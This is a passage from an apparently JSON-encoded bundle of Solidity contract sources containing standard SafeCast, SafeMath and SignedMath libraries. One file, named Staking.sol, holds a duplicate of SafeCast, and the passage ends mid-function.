bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int24 from int256, reverting on\n   * overflow (when the input is less than smallest int24 or\n   * greater than largest int24).\n   *\n   * Counterpart to Solidity's `int24` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 24 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt24(int256 value) internal pure returns (int24 downcasted) {\n    downcasted = int24(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 24 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int16 from int256, reverting on\n   * overflow (when the input is less than smallest int16 or\n   * greater than largest int16).\n   *\n   * Counterpart to Solidity's `int16` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 16 bits\n   *\n   * _Available since v3.1._\n   */\n  function toInt16(int256 value) internal pure returns (int16 downcasted) {\n    downcasted = int16(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 16 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int8 from int256, reverting on\n   * overflow (when the input is less than smallest int8 or\n   * greater than largest int8).\n   *\n   * Counterpart to Solidity's `int8` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 8 bits\n   *\n   * _Available since v3.1._\n   */\n  function toInt8(int256 value) internal pure returns (int8 downcasted) {\n    downcasted = int8(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 8 bits\");\n  }\n\n  /**\n   * @dev Converts an unsigned uint256 into a signed int256.\n   *\n   * Requirements:\n   *\n   * - input must be less than or equal to maxInt256.\n   *\n   * _Available since v3.0._\n   */\n  function toInt256(uint256 value) internal pure returns (int256) {\n    // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\n    require(\n      value <= uint256(type(int256).max),\n      \"SafeCast: value doesn't fit in an int256\"\n    );\n    return int256(value);\n  }\n}\n"
      },
      "contracts/libraries/SafeMath.sol": {
        "content": "library SafeMath {\n  function add(uint256 a, uint256 b) internal pure returns (uint256) {\n    uint256 c = a + b;\n    require(c >= a, \"SafeMath: addition overflow\");\n    return c;\n  }\n\n  function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n    return sub(a, b, \"SafeMath: subtraction overflow\");\n  }\n\n  function sub(\n    uint256 a,\n    uint256 b,\n    string memory errorMessage\n  ) internal pure returns (uint256) {\n    require(b <= a, errorMessage);\n    uint256 c = a - b;\n    return c;\n  }\n\n  function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n    if (a == 0) {\n      return 0;\n    }\n    uint256 c = a * b;\n    require(c / a == b, \"SafeMath: multiplication overflow\");\n    return c;\n  }\n\n  function div(uint256 a, uint256 b) internal pure returns (uint256) {\n    return div(a, b, \"SafeMath: division by zero\");\n  }\n\n  function div(\n    uint256 a,\n    uint256 b,\n    string memory errorMessage\n  ) internal pure returns (uint256) {\n    require(b > 0, errorMessage);\n    uint256 c = a / b;\n    return c;\n  }\n}\n"
      },
      "contracts/libraries/SignedMath.sol": {
        "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMath {\n  /**\n   * @dev Returns the largest of two signed numbers.\n   */\n  function max(int256 a, int256 b) internal pure returns (int256) {\n    return a > b ? a : b;\n  }\n\n  /**\n   * @dev Returns the smallest of two signed numbers.\n   */\n  function min(int256 a, int256 b) internal pure returns (int256) {\n    return a < b ? a : b;\n  }\n\n  /**\n   * @dev Returns the average of two signed numbers without overflow.\n   * The result is rounded towards zero.\n   */\n  function average(int256 a, int256 b) internal pure returns (int256) {\n    // Formula from the book \"Hacker's Delight\"\n    int256 x = (a & b) + ((a ^ b) >> 1);\n    return x + (int256(uint256(x) >> 255) & (a ^ b));\n  }\n\n  /**\n   * @dev Returns the absolute unsigned value of a signed value.\n   */\n  function abs(int256 n) internal pure returns (uint256) {\n    unchecked {\n      // must be unchecked in order to support `n = type(int256).min`\n      return uint256(n >= 0 ? n : -n);\n    }\n  }\n}\n"
      },
      "contracts/libraries/Staking.sol": {
        "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)\n// This file was procedurally generated from scripts/generate/templates/SafeCast.js.\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow\n * checks.\n *\n * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can\n * easily result in undesired exploitation or bugs, since developers usually\n * assume that overflows raise errors. `SafeCast` restores this intuition by\n * reverting the transaction when such an operation overflows.\n *\n * Using this library instead of the unchecked operations eliminates an entire\n * class of bugs, so it's recommended to use it always.\n *\n * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing\n * all math on `uint256` and `int256` and then downcasting.\n */\nlibrary SafeCast {\n  /**\n   * @dev Returns the downcasted uint248 from uint256, reverting on\n   * overflow (when the input is greater than largest uint248).\n   *\n   * Counterpart to Solidity's `uint248` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 248 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint248(uint256 value) internal pure returns (uint248) {\n    require(\n      value <= type(uint248).max,\n      \"SafeCast: value doesn't fit in 248 bits\"\n    );\n    return uint248(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint240 from uint256, reverting on\n   * overflow (when the input is greater than largest uint240).\n   *\n   * Counterpart to Solidity's `uint240` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 240 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint240(uint256 value) internal pure returns (uint240) {\n    require(\n      value <= type(uint240).max,\n      \"SafeCast: value doesn't fit in 240 bits\"\n    );\n    return uint240(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint232 from uint256, reverting on\n   * overflow (when the input is greater than largest uint232).\n   *\n   * Counterpart to Solidity's `uint232` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 232 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint232(uint256 value) internal pure returns (uint232) {\n    require(\n      value <= type(uint232).max,\n      \"SafeCast: value doesn't fit in 232 bits\"\n    );\n    return uint232(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint224 from uint256, reverting on\n   * overflow (when the input is greater than largest uint224).\n   *\n   * Counterpart to Solidity's `uint224` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 224 bits\n   *\n   * _Available since v4.2._\n   */\n  function toUint224(uint256 value) internal pure returns (uint224) {\n    require(\n      value <= type(uint224).max,\n      \"SafeCast: value doesn't fit in 224 bits\"\n    );\n    return uint224(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint216 from uint256, reverting on\n   * overflow (when the input is greater than largest uint216).\n   *\n   * Counterpart to Solidity's `uint216` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 216 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint216(uint256 value) internal pure returns (uint216) {\n    require(\n      value <= type(uint216).max,\n      \"SafeCast: value doesn't fit in 216 bits\"\n    );\n    return uint216(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint208 from uint256, reverting on\n   * overflow (when the input is greater than largest uint208).\n   *\n   * Counterpart to Solidity's `uint208` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 208 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint208(uint256 value) internal pure returns (uint208) {\n    require(\n      value <= type(uint208).max,\n      \"SafeCast: value doesn't fit in 208 bits\"\n    );\n    return uint208(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint200 from uint256, reverting on\n   * overflow (when the input is greater than largest uint200).\n   *\n   * Counterpart to Solidity's `uint200` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 200 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint200(uint256 value) internal pure returns (uint200) {\n    require(\n      value <= type(uint200).max,\n      \"SafeCast: value doesn't fit in 200 bits\"\n    );\n    return uint200(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint192 from uint256, reverting on\n   * overflow (when the input is greater than largest uint192).\n   *\n   * Counterpart to Solidity's `uint192` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 192 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint192(uint256 value) internal pure returns (uint192) {\n    require(\n      value <= type(uint192).max,\n      \"SafeCast: value doesn't fit in 192 bits\"\n    );\n    return uint192(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint184 from uint256, reverting on\n   * overflow (when the input is greater than largest uint184).\n   *\n   * Counterpart to Solidity's `uint184` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 184 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint184(uint256 value) internal pure returns (uint184) {\n    require(\n      value <= type(uint184).max,\n      \"SafeCast: value doesn't fit in 184 bits\"\n    );\n    return uint184(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint176 from uint256, reverting on\n   * overflow (when the input is greater than largest uint176).\n   *\n   * Counterpart to Solidity's `uint176` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 176 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint176(uint256 value) internal pure returns (uint176) {\n    require(\n      value <= type(uint176).max,\n      \"SafeCast: value doesn't fit in 176 bits\"\n    );\n    return uint176(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint168 from uint256, reverting on\n   * overflow (when the input is greater than largest uint168).\n   *\n   * Counterpart to Solidity's `uint168` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 168 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint168(uint256 value) internal pure returns (uint168) {\n    require(\n      value <= type(uint168).max,\n      \"SafeCast: value doesn't fit in 168 bits\"\n    );\n    return uint168(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint160 from uint256, reverting on\n   * overflow (when the input is greater than largest uint160).\n   *\n   * Counterpart to Solidity's `uint160` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 160 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint160(uint256 value) internal pure returns (uint160) {\n    require(\n      value <= type(uint160).max,\n      \"SafeCast: value doesn't fit in 160 bits\"\n    );\n    return uint160(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint152 from uint256, reverting on\n   * overflow (when the input is greater than largest uint152).\n   *\n   * Counterpart to Solidity's `uint152` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 152 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint152(uint256 value) internal pure returns (uint152) {\n    require(\n      value <= type(uint152).max,\n      \"SafeCast: value doesn't fit in 152 bits\"\n    );\n    return uint152(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint144 from uint256, reverting on\n   * overflow (when the input is greater than largest uint144).\n   *\n   * Counterpart to Solidity's `uint144` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 144 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint144(uint256 value) internal pure returns (uint144) {\n    require(\n      value <= type(uint144).max,\n      \"SafeCast: value doesn't fit in 144 bits\"\n    );\n    return uint144(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint136 from uint256, reverting on\n   * overflow (when the input is greater than largest uint136).\n   *\n   * Counterpart to Solidity's `uint136` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 136 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint136(uint256 value) internal pure returns (uint136) {\n    require(\n      value <= type(uint136).max,\n      \"SafeCast: value doesn't fit in 136 bits\"\n    );\n    return uint136(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint128 from uint256, reverting on\n   * overflow (when the input is greater than largest uint128).\n   *\n   * Counterpart to Solidity's `uint128` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 128 bits\n   *\n   * _Available since v2.5._\n   */\n  function toUint128(uint256 value) internal pure returns (uint128) {\n    require(\n      value <= type(uint128).max,\n      \"SafeCast: value doesn't fit in 128 bits\"\n    );\n    return uint128(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint120 from uint256, reverting on\n   * overflow (when the input is greater than largest uint120).\n   *\n   * Counterpart to Solidity's `uint120` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 120 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint120(uint256 value) internal pure returns (uint120) {\n    require(\n      value <= type(uint120).max,\n      \"SafeCast: value doesn't fit in 120 bits\"\n    );\n    return uint120(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint112 from uint256, reverting on\n   * overflow (when the input is greater than largest uint112).\n   *\n   * Counterpart to Solidity's `uint112` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 112 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint112(uint256 value) internal pure returns (uint112) {\n    require(\n      value <= type(uint112).max,\n      \"SafeCast: value doesn't fit in 112 bits\"\n    );\n    return uint112(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint104 from uint256, reverting on\n   * overflow (when the input is greater than largest uint104).\n   *\n   * Counterpart to Solidity's `uint104` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 104 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint104(uint256 value) internal pure returns (uint104) {\n    require(\n      value <= type(uint104).max,\n      \"SafeCast: value doesn't fit in 104 bits\"\n    );\n    return uint104(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint96 from uint256, reverting on\n   * overflow (when the input is greater than largest uint96).\n   *\n   * Counterpart to Solidity's `uint96` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 96 bits\n   *\n   * _Available since v4.2._\n   */\n  function toUint96(uint256 value) internal pure returns (uint96) {\n    require(\n      value <= type(uint96).max,\n      \"SafeCast: value doesn't fit in 96 bits\"\n    );\n    return uint96(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint88 from uint256, reverting on\n   * overflow (when the input is greater than largest uint88).\n   *\n   * Counterpart to Solidity's `uint88` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 88 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint88(uint256 value) internal pure returns (uint88) {\n    require(\n      value <= type(uint88).max,\n      \"SafeCast: value doesn't fit in 88 bits\"\n    );\n    return uint88(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint80 from uint256, reverting on\n   * overflow (when the input is greater than largest uint80).\n   *\n   * Counterpart to Solidity's `uint80` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 80 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint80(uint256 value) internal pure returns (uint80) {\n    require(\n      value <= type(uint80).max,\n      \"SafeCast: value doesn't fit in 80 bits\"\n    );\n    return uint80(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint72 from uint256, reverting on\n   * overflow (when the input is greater than largest uint72).\n   *\n   * Counterpart to Solidity's `uint72` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 72 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint72(uint256 value) internal pure returns (uint72) {\n    require(\n      value <= type(uint72).max,\n      \"SafeCast: value doesn't fit in 72 bits\"\n    );\n    return uint72(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint64 from uint256, reverting on\n   * overflow (when the input is greater than largest uint64).\n   *\n   * Counterpart to Solidity's `uint64` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 64 bits\n   *\n   * _Available since v2.5._\n   */\n  function toUint64(uint256 value) internal pure returns (uint64) {\n    require(\n      value <= type(uint64).max,\n      \"SafeCast: value doesn't fit in 64 bits\"\n    );\n    return uint64(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint56 from uint256, reverting on\n   * overflow (when the input is greater than largest uint56).\n   *\n   * Counterpart to Solidity's `uint56` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 56 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint56(uint256 value) internal pure returns (uint56) {\n    require(\n      value <= type(uint56).max,\n      \"SafeCast: value doesn't fit in 56 bits\"\n    );\n    return uint56(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint48 from uint256, reverting on\n   * overflow (when the input is greater than largest uint48).\n   *\n   * Counterpart to Solidity's `uint48` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 48 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint48(uint256 value) internal pure returns (uint48) {\n    require(\n      value <= type(uint48).max,\n      \"SafeCast: value doesn't fit in 48 bits\"\n    );\n    return uint48(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint40 from uint256, reverting on\n   * overflow (when the input is greater than largest uint40).\n   *\n   * Counterpart to Solidity's `uint40` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 40 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint40(uint256 value) internal pure returns (uint40) {\n    require(\n      value <= type(uint40).max,\n      \"SafeCast: value doesn't fit in 40 bits\"\n    );\n    return uint40(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint32 from uint256, reverting on\n   * overflow (when the input is greater than largest uint32).\n   *\n   * Counterpart to Solidity's `uint32` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 32 bits\n   *\n   * _Available since v2.5._\n   */\n  function toUint32(uint256 value) internal pure returns (uint32) {\n    require(\n      value <= type(uint32).max,\n      \"SafeCast: value doesn't fit in 32 bits\"\n    );\n    return uint32(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint24 from uint256, reverting on\n   * overflow (when the input is greater than largest uint24).\n   *\n   * Counterpart to Solidity's `uint24` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 24 bits\n   *\n   * _Available since v4.7._\n   */\n  function toUint24(uint256 value) internal pure returns (uint24) {\n    require(\n      value <= type(uint24).max,\n      \"SafeCast: value doesn't fit in 24 bits\"\n    );\n    return uint24(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint16 from uint256, reverting on\n   * overflow (when the input is greater than largest uint16).\n   *\n   * Counterpart to Solidity's `uint16` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 16 bits\n   *\n   * _Available since v2.5._\n   */\n  function toUint16(uint256 value) internal pure returns (uint16) {\n    require(\n      value <= type(uint16).max,\n      \"SafeCast: value doesn't fit in 16 bits\"\n    );\n    return uint16(value);\n  }\n\n  /**\n   * @dev Returns the downcasted uint8 from uint256, reverting on\n   * overflow (when the input is greater than largest uint8).\n   *\n   * Counterpart to Solidity's `uint8` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 8 bits\n   *\n   * _Available since v2.5._\n   */\n  function toUint8(uint256 value) internal pure returns (uint8) {\n    require(value <= type(uint8).max, \"SafeCast: value doesn't fit in 8 bits\");\n    return uint8(value);\n  }\n\n  /**\n   * @dev Converts a signed int256 into an unsigned uint256.\n   *\n   * Requirements:\n   *\n   * - input must be greater than or equal to 0.\n   *\n   * _Available since v3.0._\n   */\n  function toUint256(int256 value) internal pure returns (uint256) {\n    require(value >= 0, \"SafeCast: value must be positive\");\n    return uint256(value);\n  }\n\n  /**\n   * @dev Returns the downcasted int248 from int256, reverting on\n   * overflow (when the input is less than smallest int248 or\n   * greater than largest int248).\n   *\n   * Counterpart to Solidity's `int248` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 248 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt248(int256 value) internal pure returns (int248 downcasted) {\n    downcasted = int248(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 248 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int240 from int256, reverting on\n   * overflow (when the input is less than smallest int240 or\n   * greater than largest int240).\n   *\n   * Counterpart to Solidity's `int240` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 240 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt240(int256 value) internal pure returns (int240 downcasted) {\n    downcasted = int240(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 240 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int232 from int256, reverting on\n   * overflow (when the input is less than smallest int232 or\n   * greater than largest int232).\n   *\n   * Counterpart to Solidity's `int232` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 232 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt232(int256 value) internal pure returns (int232 downcasted) {\n    downcasted = int232(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 232 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int224 from int256, reverting on\n   * overflow (when the input is less than smallest int224 or\n   * greater than largest int224).\n   *\n   * Counterpart to Solidity's `int224` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 224 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt224(int256 value) internal pure returns (int224 downcasted) {\n    downcasted = int224(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 224 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int216 from int256, reverting on\n   * overflow (when the input is less than smallest int216 or\n   * greater than largest int216).\n   *\n   * Counterpart to Solidity's `int216` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 216 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt216(int256 value) internal pure returns (int216 downcasted) {\n    downcasted = int216(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 216 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int208 from int256, reverting on\n   * overflow (when the input is less than smallest int208 or\n   * greater than largest int208).\n   *\n   * Counterpart to Solidity's `int208` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 208 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt208(int256 value) internal pure returns (int208 downcasted) {\n    downcasted = int208(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 208 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int200 from int256, reverting on\n   * overflow (when the input is less than smallest int200 or\n   * greater than largest int200).\n   *\n   * Counterpart to Solidity's `int200` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 200 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt200(int256 value) internal pure returns (int200 downcasted) {\n    downcasted = int200(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 200 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int192 from int256, reverting on\n   * overflow (when the input is less than smallest int192 or\n   * greater than largest int192).\n   *\n   * Counterpart to Solidity's `int192` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 192 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt192(int256 value) internal pure returns (int192 downcasted) {\n    downcasted = int192(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 192 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int184 from int256, reverting on\n   * overflow (when the input is less than smallest int184 or\n   * greater than largest int184).\n   *\n   * Counterpart to Solidity's `int184` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 184 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt184(int256 value) internal pure returns (int184 downcasted) {\n    downcasted = int184(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 184 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int176 from int256, reverting on\n   * overflow (when the input is less than smallest int176 or\n   * greater than largest int176).\n   *\n   * Counterpart to Solidity's `int176` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 176 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt176(int256 value) internal pure returns (int176 downcasted) {\n    downcasted = int176(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 176 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int168 from int256, reverting on\n   * overflow (when the input is less than smallest int168 or\n   * greater than largest int168).\n   *\n   * Counterpart to Solidity's `int168` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 168 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt168(int256 value) internal pure returns (int168 downcasted) {\n    downcasted = int168(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 168 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int160 from int256, reverting on\n   * overflow (when the input is less than smallest int160 or\n   * greater than largest int160).\n   *\n   * Counterpart to Solidity's `int160` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 160 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt160(int256 value) internal pure returns (int160 downcasted) {\n    downcasted = int160(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 160 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int152 from int256, reverting on\n   * overflow (when the input is less than smallest int152 or\n   * greater than largest int152).\n   *\n   * Counterpart to Solidity's `int152` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 152 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt152(int256 value) internal pure returns (int152 downcasted) {\n    downcasted = int152(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 152 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int144 from int256, reverting on\n   * overflow (when the input is less than smallest int144 or\n   * greater than largest int144).\n   *\n   * Counterpart to Solidity's `int144` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 144 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt144(int256 value) internal pure returns (int144 downcasted) {\n    downcasted = int144(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 144 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int136 from int256, reverting on\n   * overflow (when the input is less than smallest int136 or\n   * greater than largest int136).\n   *\n   * Counterpart to Solidity's `int136` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 136 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt136(int256 value) internal pure returns (int136 downcasted) {\n    downcasted = int136(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 136 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int128 from int256, reverting on\n   * overflow (when the input is less than smallest int128 or\n   * greater than largest int128).\n   *\n   * Counterpart to Solidity's `int128` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 128 bits\n   *\n   * _Available since v3.1._\n   */\n  function toInt128(int256 value) internal pure returns (int128 downcasted) {\n    downcasted = int128(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 128 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int120 from int256, reverting on\n   * overflow (when the input is less than smallest int120 or\n   * greater than largest int120).\n   *\n   * Counterpart to Solidity's `int120` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 120 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt120(int256 value) internal pure returns (int120 downcasted) {\n    downcasted = int120(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 120 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int112 from int256, reverting on\n   * overflow (when the input is less than smallest int112 or\n   * greater than largest int112).\n   *\n   * Counterpart to Solidity's `int112` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 112 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt112(int256 value) internal pure returns (int112 downcasted) {\n    downcasted = int112(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 112 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int104 from int256, reverting on\n   * overflow (when the input is less than smallest int104 or\n   * greater than largest int104).\n   *\n   * Counterpart to Solidity's `int104` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 104 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt104(int256 value) internal pure returns (int104 downcasted) {\n    downcasted = int104(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 104 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int96 from int256, reverting on\n   * overflow (when the input is less than smallest int96 or\n   * greater than largest int96).\n   *\n   * Counterpart to Solidity's `int96` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 96 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt96(int256 value) internal pure returns (int96 downcasted) {\n    downcasted = int96(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 96 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int88 from int256, reverting on\n   * overflow (when the input is less than smallest int88 or\n   * greater than largest int88).\n   *\n   * Counterpart to Solidity's `int88` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 88 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt88(int256 value) internal pure returns (int88 downcasted) {\n    downcasted = int88(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 88 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int80 from int256, reverting on\n   * overflow (when the input is less than smallest int80 or\n   * greater than largest int80).\n   *\n   * Counterpart to Solidity's `int80` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 80 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt80(int256 value) internal pure returns (int80 downcasted) {\n    downcasted = int80(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 80 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int72 from int256, reverting on\n   * overflow (when the input is less than smallest int72 or\n   * greater than largest int72).\n   *\n   * Counterpart to Solidity's `int72` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 72 bits\n   *\n   * _Available since v4.7._\n   */\n  function toInt72(int256 value) internal pure returns (int72 downcasted) {\n    downcasted = int72(value);\n    require(downcasted == value, \"SafeCast: value doesn't fit in 72 bits\");\n  }\n\n  /**\n   * @dev Returns the downcasted int64 from int256, reverting on\n   * overflow (when the input is less than smallest int64 or\n   * greater than largest int64).\n   *\n   * Counterpart to Solidity's `int64` operator.\n   *\n   * Requirements:\n   *\n   * - input must fit into 64 bits\n   *\n   * _Available since v3.1._\n   */\n  function toInt64(int256 value) internal pure returns (int64 downcasted) {\n    